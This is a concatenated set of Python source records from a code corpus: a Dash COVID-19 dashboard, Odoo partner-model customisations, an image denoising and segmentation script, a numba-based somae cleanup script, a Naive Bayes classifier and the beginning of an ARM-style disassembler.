regex=True)\ndf['total_cases_per_million'].replace(np.nan, 0, regex=True)\ndf['total_deaths_per_million'].replace(np.nan, 0, regex=True)\ndf['gdp_per_capita'].replace(np.nan, 0, regex=True)\ndf['population_density'].replace(np.nan, 0, regex=True)\ndf['life_expectancy'].replace(np.nan, 0, regex=True)\ndf['median_age'].replace(np.nan,1,regex = True)\n# Not in Use\npoints_size_features = ['population', 'gdp_per_capita', 'population_density', 'life_expectancy']\nfeatures = ['new_deaths', 'new_cases', 'total_cases', 'total_deaths',\n 'new_deaths_per_million','new_cases_per_million','total_cases_per_million',\n 'total_deaths_per_million']\n\n# Set the mean per date of the new_cases\n\ndate_group = df.groupby(['date'])\nmean_new_cases =date_group['new_cases'].mean()\n\ndf_average = df[features].mean()\nmax_val = df[features].max().max()\n\napp.layout = html.Div([\n html.Div([\n html.Div([\n html.Div([\n html.Label('Date Selection'),], style={'font-size': '18px'}),\n \n dcc.DatePickerSingle(\n id='my-date-picker-single',\n display_format='Y-MM-DD',\n month_format='MMMM Y',\n placeholder='MMMM Y',\n min_date_allowed=date(2020, 1, 23),\n max_date_allowed=date(2020, 12, 4),\n initial_visible_month=date(2020, 6, 1),\n date=date(2020, 3, 30)\n ) ,\n html.Div(id='output-container-date-picker-range'),\n ], style={'margin-left': '30px'}),\n html.Div([\n \n html.Div([\n html.Label('Feature Selection'),], style={'font-size': '18px'}),\n \n dcc.Dropdown(\n id='crossfilter-model',\n options=[\n\n {'label':'Nuevas Muertes','value': 'new_deaths'},\n {'label':'Nuevos Casos', 'value': 'new_cases'},\n {'label':'Total Muertes','value': 'total_deaths'},\n {'label':'Total Casos', 'value': 'total_cases'},\n {'label':'Total Muertes por Millón','value': 'total_deaths_per_million'},\n {'label':'Total Casos por Millón', 'value': 'total_cases_per_million'},\n \n ],\n value = 'new_deaths',\n clearable = False\n\n )], style={'width': '49%', 'display': 'inline-block'}\n ),\n\n html.Div([\n \n html.Div([\n html.Label('Feature size selection'),], style={'font-size': '18px', 'width': '40%', 'display': 'inline-block'}),\n \n \n \n dcc.Dropdown(\n id='crossfilter-feature',\n #options=[{'label': i, 'value': i} for i in ['None','Region','Channel','Total_Spend'] + features ],\n options=[\n {'label':'Población','value': 'population'},\n {'label':'GDP per Capita','value': 'gdp_per_capita'},\n {'label':'Densidad de Población','value': 'population_density'},\n {'label':'Expectativa de Vida','value': 'life_expectancy'},\n \n ],\n value='population',\n clearable=False\n )], style={'width': '49%', 'float': 'right', 'display': 'inline-block'}\n \n )], style={'backgroundColor': 'rgb(17, 17, 17)', 'padding': '10px 5px'}\n ),\n\n html.Div([\n\n dcc.Graph(\n id='scatter-plot',\n hoverData={'points': [{'hovertext': 0}]}\n )\n\n ], style={'width': '100%', 'height':'90%', 'display': 'inline-block', 'padding': '0 20'}),\n \n \n html.Div([\n dcc.RadioItems(\n id='gradient-scheme',\n options=[\n {'label': 'Orange to Red', 'value': 'OrRd'},\n {'label': 'Viridis', 'value': 'Viridis'},\n {'label': 'Plasma', 'value': 'Plasma'},\n ],\n value='Plasma',\n labelStyle={'float': 'right', 'display': 'inline-block', 'margin-right': 10}\n ),\n ], style={'width': '49%', 'display': 'inline-block', 'float': 'right'}),\n \n \n html.Div([\n dcc.Graph(id='point-plot'),\n ], style={'display': 'inline-block', 'width': '100%'}),\n \n html.Div([\n dcc.Graph(id='pie-chart'),\n ], style={'display': 'inline-block', 'width': '100%'}),\n \n \n \n html.Div([\n dcc.RadioItems(\n id='case_value', \n options=[\n {'value': 'new_cases', 'label': 'Nuevos casos'} ,\n {'value': 'new_deaths', 'label': 'Nuevas muertes'} ,\n \n ],\n value='new_cases',\n labelStyle={'float': 'right', 'display': 'inline-block', 'margin-right': 10}\n ),\n dcc.Graph(id=\"choropleth\"),\n ],style={'width': '50%', 'display': 'inline-block', 'float': 'right'}),\n \n html.Div([\n dcc.Graph(id=\"choropleth2\"),\n ],style={'width': '50%', 'display': 'inline-block', 'float': 'left'}),\n \n ], style={'backgroundColor': 'rgb(17, 17, 17)'},\n)\n\n\n\n@app.callback(\n dash.dependencies.Output('scatter-plot', 'figure'),\n [\n dash.dependencies.Input('crossfilter-feature','value'),\n dash.dependencies.Input('crossfilter-model','value'),\n dash.dependencies.Input('my-date-picker-single', 'date')\n ]\n)\n\ndef update_graph(feature, model, date_value):\n string_prefix = 'You have selected: '\n if date_value is not None:\n fecha = date_value\n else:\n fecha = '2020-03-30'\n \n \n specific_day = df.query(\"date == @fecha\")\n #specific_day = specific_day[specific_day.location != 'World']\n max_val = specific_day['population'].max()\n sizes = [np.max([max_val/2,val]) for val in specific_day['population'].values]\n \n fig = px.scatter(\n specific_day,\n x = specific_day[feature],\n y = specific_day[model],\n opacity = 0.8,\n template = 'plotly_dark',\n hover_name = specific_day['location'],\n color = specific_day['continent'],\n size = sizes,\n )\n \n fig.update_traces(customdata = specific_day.index)\n \n fig.update_layout(\n title=feature.upper() + ' Vs ' + model.upper() + ' - Date [ ' + fecha + ' ]',\n height = 450,\n margin={'l': 20, 'b': 30, 'r': 10, 't': 30},\n hovermode = 'closest',\n template = 'plotly_dark',\n \n )\n \n fig.update_xaxes(showticklabels=False, type='log')\n fig.update_yaxes(showticklabels=False, type='log')\n \n return fig\n\n\ndef create_point_plot(location,gradient):\n country_data = df.query(\"location == @location\")\n fig = px.bar(\n country_data, \n x = 'date', \n y='new_cases',\n hover_data = ['total_deaths','date'],\n color = 'new_deaths',\n color_continuous_scale = gradient,\n labels={'new_cases': 'New Cases', 'date': 'Date',\n 'new_deaths': 'New Deaths', 'total_deaths': 'Total Deaths'}, \n title=' ' + location + ' Covid Historical'\n )\n fig.add_trace(\n go.Scatter(x=mean_new_cases.index,y=mean_new_cases,\n name='Average')\n )\n fig.update_layout(\n barmode='group',\n height=280,\n margin={'l': 20, 'b': 30, 'r': 10, 't': 30},\n template='plotly_dark',\n showlegend=False\n )\n \n fig.update_xaxes(showgrid=False)\n \n fig.update_yaxes( type='log', range=[0,5])\n return fig\n\n\n@app.callback(\n dash.dependencies.Output('point-plot','figure'),\n [\n dash.dependencies.Input('scatter-plot','hoverData'),\n dash.dependencies.Input('gradient-scheme','value'),\n ])\ndef update_point_plot(hoverData,gradient):\n location = hoverData['points'][0]['hovertext']\n title = f'Country {location}'\n return create_point_plot(str(location),gradient)\n\n\ndef create_pie_chart(location):\n \n if location == '0':\n country = \"Colombia\"\n else:\n country = location\n country_data = df.query(\"location == @country\")\n \n \n \n labels = ['65 - 69 Older','70 Older']\n median_age = country_data['median_age'].mean()\n \n values = [country_data['aged_70_older'].mean(),country_data['aged_65_older'].mean()]\n \n continent = country_data['continent'].unique()[0]\n world_data = df.groupby(['continent']).get_group((continent))\n continent_data = world_data.groupby(['location'])['gdp_per_capita']\n values_countries = continent_data.mean()\n labels_countries = list(values_countries.index)\n pull = np.zeros([1,len(labels_countries)])\n index = labels_countries.index(country)\n pull[0,index] = 0.2\n \n \n colors = ['#5f007f','#2335be']\n fig = make_subplots(rows=1, cols=2, specs=[[{\"type\": \"pie\"}, {\"type\": \"pie\"}]])\n \n fig.add_trace(go.Pie(\n values=values,\n labels=labels,\n domain=dict(x=[0, 0.1]),\n name= country + \" Over 65 years infected\",\n marker=dict(colors=colors)),\n row=1, col=1)\n \n fig.add_trace(go.Pie(\n labels=labels_countries, \n values=values_countries, \n sort=False, \n pull=pull[0],\n domain=dict(x=[0.1, 1]),\n name= \"GDP per Capita\"),\n row=1, col=2)\n \n fig.update_layout(\n \n height = 550,\n margin={'l': 20, 'b': 30, 'r': 10, 't': 150},\n hovermode = 'closest',\n template = 'plotly_dark',\n title=country + \" Over 65 years infected - Median Age [ \" + str(median_age) + \" ]\" + ' || '+ \" GDP Continent Comparison\")\n \n fig.update_xaxes(showticklabels=False)\n fig.update_yaxes(showticklabels=False)\n return fig\n \n@app.callback(\n dash.dependencies.Output('pie-chart','figure'),\n [\n dash.dependencies.Input('scatter-plot','hoverData'),\n ])\n\ndef update_pie_chart(hoverData):\n location = hoverData['points'][0]['hovertext']\n return create_pie_chart(str(location))\n\n@app.callback(\n dash.dependencies.Output(\"choropleth\", \"figure\"), \n [\n dash.dependencies.Input(\"case_value\", \"value\"),\n dash.dependencies.Input('gradient-scheme','value'),\n ])\ndef display_choropleth(value,gradient):\n \n df_new = df[df.location != 'World']\n\n fig = px.choropleth(\n df_new, \n locations=\"iso_code\",\n color=value, \n hover_name=\"location\",\n animation_frame='date',\n color_continuous_scale=gradient)\n \n fig.update_geos(fitbounds=\"locations\", visible=False)\n \n fig.update_layout(\n \n height = 550,\n margin={'l': 20, 'b': 30, 'r': 10, 't': 150},\n hovermode = 'closest',\n template = 'plotly_dark',\n title=value + ' Animated representation',\n transition = {'duration': 10000})\n \n \n return fig\n\n@app.callback(\n dash.dependencies.Output(\"choropleth2\", \"figure\"), \n [\n dash.dependencies.Input(\"case_value\", \"value\")\n ])\n\ndef display_choropleth2(value):\n \n max_val = df[\"new_deaths\"].max()\n\n sizes = [np.max([max_val/2,val]) for val in df[\"new_deaths\"].values] \n\n fig = px.scatter(\n df, \n x='population', \n y = value, \n color='continent',\n hover_name='location',\n animation_frame='date', \n animation_group='location',\n hover_data = ['new_cases','new_deaths'], \n size= sizes, \n log_y = True, \n log_x = True)\n \n fig.update_yaxes( type='log', range=[-2,7])\n fig.update_xaxes( type='log', range=[5,11])\n \n fig.update_layout(\n \n height = 550,\n margin={'l': 20, 'b': 30, 'r': 10, 't': 150},\n hovermode = 'closest',\n template = 'plotly_dark',\n title=value + ' points representation',\n transition = {'duration': 1000})\n \n \n return fig\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","sub_path":"dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":13263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"578764491","text":"# -*- coding: utf-8 -*-\n\nimport threading\n\nfrom odoo import models, api, tools\nfrom odoo.exceptions import UserError, ValidationError\nfrom odoo.modules import get_module_resource\nfrom odoo.tools import OrderedSet\n\nclass OfReadGroup(models.AbstractModel):\n _name = 'of.readgroup'\n\n @api.model\n def _read_group_raw(self, domain, fields, groupby, offset=0, limit=None, orderby=False, lazy=True):\n self.check_access_rights('read')\n query = self._where_calc(domain)\n fields = fields or [f.name for f in self._fields.itervalues() if f.store]\n\n groupby = [groupby] if isinstance(groupby, basestring) else list(OrderedSet(groupby))\n groupby_list = groupby[:1] if lazy else groupby\n annotated_groupbys = [self._read_group_process_groupby(gb, query) for gb in groupby_list]\n groupby_fields = [g['field'] for g in annotated_groupbys]\n order = orderby or ','.join([g for g in groupby_list])\n groupby_dict = {gb['groupby']: gb for gb in annotated_groupbys}\n\n self._apply_ir_rules(query, 'read')\n for gb in groupby_fields:\n assert gb in fields, \"Fields in 'groupby' must appear in the list of fields to read (perhaps it's missing in the list view?)\"\n assert gb in self._fields, \"Unknown field %r in 'groupby'\" % gb\n gb_field = self._fields[gb].base_field\n # Modification OpenFire : Un champ custom peut ne pas être présent en base de données\n if not getattr(gb_field, 'of_custom_groupby', False):\n assert gb_field.store and gb_field.column_type, \"Fields in 'groupby' must be regular database-persisted fields (no function or related fields), or function fields with store=True\"\n\n aggregated_fields = [\n f for f in fields\n if f != 'sequence'\n if f not in groupby_fields\n for field in [self._fields.get(f)]\n if field\n if field.group_operator\n if field.base_field.store and field.base_field.column_type\n ]\n\n field_formatter = lambda f: (\n self._fields[f].group_operator,\n self._inherits_join_calc(self._table, f, query),\n f,\n )\n select_terms = ['%s(%s) AS \"%s\" ' % field_formatter(f) for f in aggregated_fields]\n\n for gb in annotated_groupbys:\n select_terms.append('%s as \"%s\" ' % (gb['qualified_field'], gb['groupby']))\n\n groupby_terms, orderby_terms = self._read_group_prepare(order, aggregated_fields, annotated_groupbys, query)\n from_clause, where_clause, where_clause_params = query.get_sql()\n if lazy and (len(groupby_fields) >= 2 or not self._context.get('group_by_no_leaf')):\n count_field = groupby_fields[0] if len(groupby_fields) >= 1 else '_'\n else:\n count_field = '_'\n count_field += '_count'\n\n prefix_terms = lambda prefix, terms: (prefix + \" \" + \",\".join(terms)) if terms else ''\n prefix_term = lambda prefix, term: ('%s %s' % (prefix, term)) if term else ''\n\n query = \"\"\"\n SELECT min(%(table)s.id) AS id, count(%(table)s.id) AS %(count_field)s %(extra_fields)s\n FROM %(from)s\n %(where)s\n %(groupby)s\n %(orderby)s\n %(limit)s\n %(offset)s\n \"\"\" % {\n 'table': self._table,\n 'count_field': count_field,\n 'extra_fields': prefix_terms(',', select_terms),\n 'from': from_clause,\n 'where': prefix_term('WHERE', where_clause),\n 'groupby': prefix_terms('GROUP BY', groupby_terms),\n 'orderby': prefix_terms('ORDER BY', orderby_terms),\n 'limit': prefix_term('LIMIT', int(limit) if limit else None),\n 'offset': prefix_term('OFFSET', int(offset) if limit else None),\n }\n self._cr.execute(query, where_clause_params)\n fetched_data = self._cr.dictfetchall()\n\n if not groupby_fields:\n return fetched_data\n\n # Modif OpenFire : Recherche directe du nom par name_get sur l'objet ciblé\n # (la méthode standart Odoo procédait par lecture du champ sur l'objet courant,\n # ce qui est impossible dans le cadre d'un champ one2many)\n for gb in set(annotated_groupbys):\n if gb['type'] == 'many2one':\n gb_field = gb['field']\n rel = self._fields[gb_field].base_field._obj\n gb_obj = self.env[rel]\n gb_ids = [r[gb_field] for r in fetched_data if r[gb_field]]\n gb_dict = {d[0]: d for d in gb_obj.browse(gb_ids).name_get()}\n for d in fetched_data:\n d[gb_field] = gb_dict.get(d[gb_field], False)\n\n data = map(lambda r: {k: self._read_group_prepare_data(k,v, groupby_dict) for k,v in r.iteritems()}, fetched_data)\n result = [self._read_group_format_result(d, annotated_groupbys, groupby, domain) for d in data]\n if lazy:\n # Right now, read_group only fill results in lazy mode (by default).\n # If you need to have the empty groups in 'eager' mode, then the\n # method _read_group_fill_results need to be completely reimplemented\n # in a sane way \n result = self._read_group_fill_results(\n domain, groupby_fields[0], groupby[len(annotated_groupbys):],\n aggregated_fields, count_field, result, read_group_order=order,\n )\n return result\n\nclass ResPartner(models.Model):\n _inherit = \"res.partner\"\n\n # Pour afficher l'adresse au format français par défaut quand le pays n'est pas renseigné et non le format US\n @api.multi\n def _display_address(self, without_company=False):\n\n '''\n The purpose of this function is to build and return an address formatted accordingly to the\n standards of the country where it belongs.\n\n :param address: browse record of the res.partner to format\n :returns: the address formatted in a display that fit its country habits (or the default ones\n if not country is specified)\n :rtype: string\n '''\n # get the information that will be injected into the display format\n # get the address format\n address_format = self.country_id.address_format or \\\n \"%(street)s\\n%(street2)s\\n%(zip)s %(city)s\\n%(country_name)s\" # Ligne changée par OpenFire\n args = {\n 'state_code': self.state_id.code or '',\n 'state_name': self.state_id.name or '',\n 'country_code': self.country_id.code or '',\n 'country_name': self.country_id.name or '',\n 'company_name': self.commercial_company_name or '',\n }\n for field in self._address_fields():\n args[field] = getattr(self, field) or ''\n if without_company:\n args['company_name'] = ''\n elif self.commercial_company_name:\n address_format = '%(company_name)s\\n' + address_format\n return address_format % args\n\n # Pour afficher dans le menu déroulant de choix de partenaire l'adresse du contact et pas que le nom \n @api.model\n def name_search(self, name='', args=None, operator='ilike', limit=100):\n if self._context.get('show_address'):\n self = self.with_context(of_show_address_line=True)\n return super(ResPartner, self).name_search(name=name, args=args, operator=operator, limit=limit)\n\n @api.model\n def _get_default_image(self, partner_type, is_company, parent_id):\n # Réécriture de la fonction Odoo pour retirer la couleur de fond aléatoire\n # Ainsi, chaque nouveau partenaire a les mêmes image/image_medium/image_small\n # Ce qui évite de surcharger le filestore\n if getattr(threading.currentThread(), 'testing', False) or self._context.get('install_mode'):\n return False\n\n colorize, img_path, image = False, False, False\n\n if partner_type in ['other'] and parent_id:\n parent_image = self.browse(parent_id).image\n image = parent_image and parent_image.decode('base64') or None\n\n if not image and partner_type == 'invoice':\n img_path = get_module_resource('base', 'static/src/img', 'money.png')\n elif not image and partner_type == 'delivery':\n img_path = get_module_resource('base', 'static/src/img', 'truck.png')\n elif not image and is_company:\n img_path = get_module_resource('base', 'static/src/img', 'company_image.png')\n elif not image:\n img_path = get_module_resource('base', 'static/src/img', 'avatar.png')\n colorize = True\n\n if img_path:\n with open(img_path, 'rb') as f:\n image = f.read()\n if image and colorize:\n # Un rouge orange, censé rappeler la douce chaleur de la flamme\n # Dans l'âtre, les soirs d'hiver, quand le vent glacial rugit au-dehors\n image = tools.image_colorize(image, False, (250, 150, 0))\n\n return tools.image_resize_image_big(image.encode('base64'))\n\n @api.model\n def _add_missing_default_values(self, values):\n # La référence par défaut est celle du parent\n parent_id = values.get('parent_id')\n if parent_id and isinstance(parent_id, (int,long)) and not values.get('ref') and 'default_ref' not in self._context:\n values['ref'] = self.browse(parent_id).ref\n return super(ResPartner,self)._add_missing_default_values(values)\n\n @api.onchange('parent_id')\n def onchange_parent_id(self):\n result = super(ResPartner, self).onchange_parent_id()\n if self.parent_id:\n result.setdefault('value', {})['ref'] = self.parent_id.ref\n return result\n\n @api.model\n def _check_no_ref_duplicate(self, ref):\n if not ref:\n return True\n parent_id = False\n cr = self._cr\n cr.execute(\"SELECT id,parent_id FROM res_partner WHERE ref = %s\", (ref,))\n while True:\n ids = set()\n for id,pid in cr.fetchall():\n if pid:\n ids.add(pid)\n elif parent_id:\n if id != parent_id:\n raise ValidationError(u\"Le n° de compte client est déjà utilisé et doit être unique (%s).\" % (ref,))\n else:\n parent_id = id\n if not ids:\n break\n cr.execute(\"SELECT id,parent_id FROM res_partner WHERE id IN %s\", (tuple(ids),))\n return True\n\n @api.model\n def create(self, vals):\n res = super(ResPartner, self).create(vals)\n self._check_no_ref_duplicate(vals.get('ref'))\n return res\n\n @api.model\n def _update_refs(self, new_ref, partner_refs):\n # Avant de mettre a jour les enfants, on vérifie que les partenaires avec cette référence ont bien tous un parent commun\n self._check_no_ref_duplicate(new_ref)\n \n to_update_ids = []\n while partner_refs:\n partner, old_ref = partner_refs.pop()\n for child in partner.child_ids:\n if child.ref == old_ref:\n # La reference du contact était la même que celle du parent, on met à jour et on continue le parcours\n to_update_ids.append(child.id)\n partner_refs.append((child,old_ref))\n if to_update_ids:\n self.env['res.partner'].browse(to_update_ids).write({'ref':new_ref})\n return True\n\n @api.multi\n def write(self, vals):\n # Modification de la fonction write pour propager la modification de la référence aux enfants si besoin\n write_ref = 'ref' in vals\n if write_ref:\n # La référence est modifiée, il va falloir propager la nouvelle valeur aux enfants\n ref = vals['ref']\n partner_refs = [(partner,partner.ref) for partner in self if partner.ref != ref]\n super(ResPartner,self).write(vals)\n if write_ref:\n self._update_refs(ref, partner_refs)\n return True\n \n \n","sub_path":"of_base/models/of_base.py","file_name":"of_base.py","file_ext":"py","file_size_in_byte":12120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"621454210","text":"from skimage import img_as_float, img_as_ubyte, io\nfrom skimage.restoration import denoise_nl_means, estimate_sigma\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n#Use this code if you run this project on google colab\nfrom google.colab import drive\ndrive.mount('/content/drive')\n\nimg = io.imread(\"drive/My Drive/Colab Notebooks/covid.jpg\")\nplt.imshow(img,cmap=\"gray\")\n#image available in /images folder covid.png\n\nimg = img_as_float(img)\nplt.imshow(img,cmap=\"gray\")\n\n\nsigma_est = np.mean(estimate_sigma(img,multichannel=True))\n\ndenoise = denoise_nl_means(img, h=1.15 * sigma_est, fast_mode=False, patch_size=5, patch_distance=3, multichannel=True)\n\nplt.imshow(denoise,cmap=\"gray\")\n\n\ndenoise_ubyte = img_as_ubyte(denoise)\n\nplt.imshow(denoise_ubyte,cmap=\"gray\")\n#image available in /images folder covid.png\n\nplt.hist(denoise_ubyte.flat, bins=100, range=(0,255))\n#image available in /images folder histogram.png\n\nseg1 = (denoise_ubyte <=10)\nseg2 = (denoise_ubyte > 10) & (denoise_ubyte <= 80)\nseg3 = (denoise_ubyte > 80) & (denoise_ubyte <=120)\nseg4 = (denoise_ubyte > 120) & (denoise_ubyte <= 135)\nseg5 = (denoise_ubyte > 135) & (denoise_ubyte <= 160)\nseg6 = (denoise_ubyte > 160) & (denoise_ubyte <= 175)\nseg7 = (denoise_ubyte > 175) & (denoise_ubyte <= 210)\nseg8 = (denoise_ubyte > 210) \nplt.imshow(seg7,cmap=\"gray\")\n#image available in /images folder image1.png\n\nall_seg = np.zeros((denoise_ubyte.shape[0],denoise_ubyte.shape[1],3))\nall_seg[seg1] = (1,0,0)\nall_seg[seg2] = (0,1,0)\nall_seg[seg1] = (0,0,1)\nall_seg[seg1] = (1,1,0)\nall_seg[seg1] = (1,0,1)\nall_seg[seg1] = (0,1,1)\nall_seg[seg1] = (1,2,0)\nall_seg[seg1] = (2,0,0)\n\nplt.imshow(all_seg)\n#image available in /images folder image2.png\n","sub_path":"Segmentation.py","file_name":"Segmentation.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"424430586","text":"import numpy as np\nimport os\nimport sys\nfrom dataIO import *\nfrom numba import njit, types\nfrom numba.errors import NumbaDeprecationWarning, NumbaPendingDeprecationWarning\nimport warnings\nfrom numba.typed import Dict\n\n\n# calculate mean\n@njit\ndef get_mean(somae_in, avg_z, avg_y, avg_x, n_points):\n for iz in range(somae_in.shape[0]):\n for iy in range(somae_in.shape[1]):\n for ix in range(somae_in.shape[2]):\n if somae_in[iz,iy,ix]!=0 and somae_in[iz,iy,ix]!=184:\n\n avg_z[somae_in[iz,iy,ix]]+=iz\n avg_y[somae_in[iz,iy,ix]]+=iy\n avg_x[somae_in[iz,iy,ix]]+=ix\n\n n_points[somae_in[iz,iy,ix]]+=1\n\n return avg_z, avg_y, avg_x, n_points\n\n# calculate std\n@njit\ndef get_std(somae_in, std, avg_z, avg_y, avg_x):\n for iz in range(somae_in.shape[0]):\n for iy in range(somae_in.shape[1]):\n for ix in range(somae_in.shape[2]):\n if somae_in[iz,iy,ix]!=0 and somae_in[iz,iy,ix]!=184:\n\n # std_z[somae_in[iz,iy,ix]]+=((iz-avg_z[somae_in[iz,iy,ix]])/avg_z[somae_in[iz,iy,ix]])**2\n # std_y[somae_in[iz,iy,ix]]+=((iy-avg_y[somae_in[iz,iy,ix]])/avg_y[somae_in[iz,iy,ix]])**2\n # std_x[somae_in[iz,iy,ix]]+=((ix-avg_x[somae_in[iz,iy,ix]])/avg_x[somae_in[iz,iy,ix]])**2\n dist=np.sqrt(((iz-avg_z[somae_in[iz,iy,ix]])/avg_z[somae_in[iz,iy,ix]])**2+((iy-avg_y[somae_in[iz,iy,ix]])/avg_y[somae_in[iz,iy,ix]])**2+((ix-avg_x[somae_in[iz,iy,ix]])/avg_x[somae_in[iz,iy,ix]])**2)\n std[somae_in[iz,iy,ix]]+=dist**2\n\n return std\n\n@njit\ndef calculate_new_colors(somae_in, avg_z, avg_y, avg_x, std):\n # color everything further than one std in other color\n for iz in range(somae_in.shape[0]):\n for iy in range(somae_in.shape[1]):\n for ix in range(somae_in.shape[2]):\n if somae_in[iz,iy,ix]!=0 and somae_in[iz,iy,ix]!=184:\n curr_ID = somae_in[iz,iy,ix]\n # dst = np.sqrt(((iz - avg_z[curr_ID])/avg_z[curr_ID])**2 + ((iy - avg_y[curr_ID])/avg_y[curr_ID])**2 + ((ix - avg_x[curr_ID])/avg_x[curr_ID])**2)\n dst = np.sqrt(((iz - avg_z[curr_ID])/avg_z[curr_ID])**2 + ((iy - avg_y[curr_ID])/avg_y[curr_ID])**2 + ((ix - avg_x[curr_ID])/avg_x[curr_ID])**2)\n if dst>1.9*std[curr_ID]:\n somae_in[iz,iy,ix]=184\n return somae_in\n\ndef cutting_step(seg_IDS, somae_in, avg_z, avg_y, avg_x, std, n_points):\n\n for ID in seg_IDS:\n avg_z[ID] = 0\n avg_y[ID] = 0\n avg_x[ID] = 0\n std[ID] = 0\n n_points[ID] = 0\n\n avg_z, avg_y, avg_x, n_points = get_mean(somae_in, avg_z, avg_y, avg_x, n_points)\n\n for ID in seg_IDS:\n avg_z[ID] = avg_z[ID]/n_points[ID]\n avg_y[ID] = avg_y[ID]/n_points[ID]\n avg_x[ID] = avg_x[ID]/n_points[ID]\n\n std = get_std(somae_in, std, avg_z, avg_y, avg_x)\n\n for ID in seg_IDS:\n std[ID] = np.sqrt(std[ID]/(n_points[ID]-1))\n\n somae_in = calculate_new_colors(somae_in, avg_z, avg_y, avg_x, std)\n\n return somae_in, avg_z, avg_y, avg_x, std, n_points\n\ndef main():\n folder_path = \"/home/frtim/Documents/Code/SomaeDetection/Mouse/\"\n output_folder = \"/home/frtim/Documents/Code/SomaeDetection/Mouse/\"\n\n filename = folder_path+\"somae_reduced_Mouse_773x832x832.h5\"\n somae_in = ReadH5File(filename=filename,box=[1])\n\n seg_IDS = np.unique(somae_in)\n if seg_IDS[0]==0:\n seg_IDS = seg_IDS[1:]\n if seg_IDS[-1]==184:\n seg_IDS = seg_IDS[:-1]\n\n avg_z = Dict.empty(key_type=types.float64,value_type=types.float64)\n avg_y = Dict.empty(key_type=types.float64,value_type=types.float64)\n avg_x = Dict.empty(key_type=types.float64,value_type=types.float64)\n std = Dict.empty(key_type=types.float64,value_type=types.float64)\n n_points = Dict.empty(key_type=types.float64,value_type=types.float64)\n\n for s in range(100):\n print(\"Step \" + str(s), flush = True)\n somae_in, avg_z, avg_y, avg_x, std, n_points = cutting_step(seg_IDS, somae_in, avg_z, avg_y, avg_x, std, n_points)\n filename = output_folder+\"somae_reduced_colored_Mouse_step_\" + str(s).zfill(4) +\"_773x832x832.h5\"\n WriteH5File(somae_in, filename, \"main\")\n\n\nif 1==True:\n main()\n","sub_path":"Mouse/cut_somae.py","file_name":"cut_somae.py","file_ext":"py","file_size_in_byte":4327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"209224750","text":"'''\n TEMPLATE FOR MACHINE LEARNING HOMEWORK\n AUTHOR Eric Eaton\n'''\n\nimport numpy as np\n\n\nclass NaiveBayes:\n\n def __init__(self, useLaplaceSmoothing=True):\n self.useLaplaceSmoothing = useLaplaceSmoothing\n self.condProbs = None\n self.classProbs = None\n\n def fit(self, X, y):\n [n, d] = X.shape\n # find the number of classes\n numClasses = np.size(np.bincount(y))\n # find the priors\n priors = np.zeros([numClasses, d])\n for c in xrange(0, numClasses):\n priors[c, :] = np.sum(X[np.where(y == c), :], axis=1)\n # Using the priors find the conditional probabilities\n sums = np.sum(priors, axis=1)\n condProbs = np.zeros(priors.shape)\n for c in xrange(0, numClasses):\n if self.useLaplaceSmoothing:\n condProbs[c, :] = (priors[c, :] + 1) / (sums[c] + d)\n else:\n condProbs[c, :] = priors[c, :] / sums[c]\n self.condProbs = condProbs\n # find the class probabilities\n if self.useLaplaceSmoothing:\n self.classProbs = (np.bincount(y) + 1) / float(np.sum(y) + 1)\n else:\n self.classProbs = np.bincount(y) / float(np.sum(y))\n\n def predict(self, X):\n [n, d] = X.shape\n numClasses = self.classProbs.size\n relativeProbs = np.zeros([n, numClasses])\n condProbs = np.log(self.condProbs)\n classProbs = np.log(self.classProbs)\n for c in xrange(0, numClasses):\n relativeProbs[:, c] = np.sum(X*condProbs[c, :], axis=1) + classProbs[c]\n return np.argmax(relativeProbs, axis=1)\n\n def predictProbs(self, X):\n [n, d] = X.shape\n numClasses = self.classProbs.size\n relativeProbs = np.zeros([n, numClasses])\n for c in xrange(0, numClasses):\n relativeProbs[:, c] = np.sum(X*self.condProbs[c, :], axis=1) + self.classProbs[c]\n\n\nclass OnlineNaiveBayes:\n\n def __init__(self, useLaplaceSmoothing=True):\n self.useLaplaceSmoothing = useLaplaceSmoothing\n self.X = None\n self.y = None\n self.NaiveBayes = NaiveBayes(useLaplaceSmoothing)\n\n def fit(self, X, y):\n # add y to all y's\n if self.y is None:\n self.y = y\n else:\n self.y = np.append(self.y, y, axis=0)\n # add X to all X's\n if self.X is None:\n self.X = X\n else:\n self.X = np.append(self.X, X, axis=0)\n # set X and y to the complete groupings of X and y\n X = self.X\n y = self.y\n self.NaiveBayes.fit(X, y)\n\n def predict(self, X):\n return self.NaiveBayes.predict(X)\n\n def predictProbs(self, X):\n return self.NaiveBayes.predictProbs(X)\n","sub_path":"naiveBayes.py","file_name":"naiveBayes.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"307363443","text":"import os\nimport sys\n\nclass Run_disassemble:\n def _init_(self, opcodes, instruct_type, count, input_file_name):\n self.opcodes = opcodes\n self.instruct_type = instruct_type\n self.count = count\n self.inputFileName = input_file_name\n\n\n\n def baseConversion(opcodes):\n for i in range(0, len(opcodes)):\n opcodes[i] = int(opcodes[i], 2)\n\n\n def convertv2(instruct_type):\n if (instruct_type == 'ADD' or instruct_type == 'AND' or\n instruct_type == 'SUB' or instruct_type == 'ORR' or instruct_type == 'EOR'):\n return 'rType'\n elif (instruct_type == 'LSL' or instruct_type == 'LSR'):\n return 'rTypel'\n elif (instruct_type == 'ADDI' or instruct_type == 'SUBI'):\n return 'iType'\n elif (instruct_type == 'LDUR' or instruct_type == 'STUR'):\n return 'dType'\n elif (instruct_type == 'B'):\n return 'bType'\n elif (instruct_type == 'MOVK'):\n return 'iwTypek'\n elif (instruct_type == 'MOVZ'):\n return 'iwTypez'\n elif (instruct_type == 'CBZ' or instruct_type == 'CBNZ'):\n return 'cbType'\n elif (instruct_type == 'BREAK'):\n return 'breakType'\n elif (instruct_type == '2C'):\n return '2CType'\n else:\n return 'invalid type'\n\n def opcodecomp(opcodes):\n opcodepost = []\n if opcodes == 1112:\n return 'ADD'\n elif 